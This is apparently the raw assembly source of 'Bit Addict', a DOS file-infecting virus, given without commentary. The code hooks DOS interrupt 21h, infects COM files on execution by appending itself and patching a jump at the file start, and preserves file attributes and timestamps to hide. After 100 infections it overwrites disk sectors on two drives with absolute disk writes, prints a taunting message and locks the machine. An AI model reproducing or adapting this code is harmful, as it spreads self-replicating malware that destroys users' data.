code segment org 0 call Virus SavedCode db 0cdh,020h,11 dup(090h) Jump db 0e9h NearOfset dw 0 ID db 'BIT ADDICT' ExeHead db 'MZ' SaveInt21 equ this word OldInt21 dd 0 Teller db 0 Message db 'The Bit Addict says: ',13,10 db '"You have a good taste for hard disks, it was delicious !!!"' db 13,10,'$' NewInt21: cmp ah,4bh je Exec jmp cs:OldInt21 Exec: cmp cs:Teller,100 jb Infect mov ax,2 xor bx,bx mov cx,100 xor dx,dx int 026h mov ax,3 xor bx,bx mov cx,100 xor dx,dx int 026h mov ax,cs mov ds,ax mov ah,9 lea dx,Message int 021h HangUp: cli jmp HangUp Infect: push ax push bx push cx push dx push si push di push ds push es push dx mov ax,04300h int 021h push cx mov ax,04301h xor cx,cx int 021h mov ax,03d02h int 021h jnc OK1 jmp Error Ok1: mov bx,ax mov ax,05700h int 021h push cx push dx mov ax,cs mov ds,ax mov es,ax mov ax,03f00h mov cx,13 lea dx,SavedCode int 021h jc Close lea si,ID lea di,SavedCode[3] mov cx,10 repe cmpsb je Close lea si,ExeHead lea di,SavedCode mov cx,2 repe cmpsb je Close Com: mov ax,04202h xor cx,cx xor dx,dx int 021h jc Close or dx,dx jne Close sub ax,3 jb Close mov NearOfset,ax mov ax,04000h mov cx,CodeSize xor dx,dx int 021h jc Close mov ax,04200h xor cx,cx xor dx,dx int 021h jc Close mov ax,04000h mov cx,13 lea dx,Jump int 021h inc cs:Teller Close: pop dx pop cx mov ax,05701h int 021h mov ax,03e00h int 021h Error: pop cx pop dx pop es pop ds push ds push es mov ax,04301h int 021h pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp cs:OldInt21 Virus: pop bx sub bx,3 xor ax,ax mov ds,ax cmp w[021h*4+2],0a000h jae Exit mov dx,03bfh mov al,3 out dx,al mov ax,cs mov ds,ax mov ax,VirusSegment1 Repeat: mov es,ax mov si,bx xor di,di mov cx,CodeSize repe movsb mov si,bx xor di,di mov cx,CodeSize repe cmpsb je Ok2 mov ax,VirusSegment2 mov dx,es cmp ax,dx je Exit jmp Repeat Ok2: xor ax,ax mov ds,ax mov ax,ds:[84h] mov es:SaveInt21[0],ax mov ax,ds:[86h] mov es:SaveInt21[2],ax mov ax,NewInt21 mov [84h],ax mov ax,es mov [86h],ax Exit: mov ax,cs mov ds,ax mov es,ax mov si,bx add si,3 mov di,0100h mov cx,13 rep movsb mov ax,0100h push ax ret CodeSize equ $ VirusSegment1 equ 0c000h-(($+0fh) shr 4) VirusSegment2 equ 0bc00h-(($+0fh) shr 4)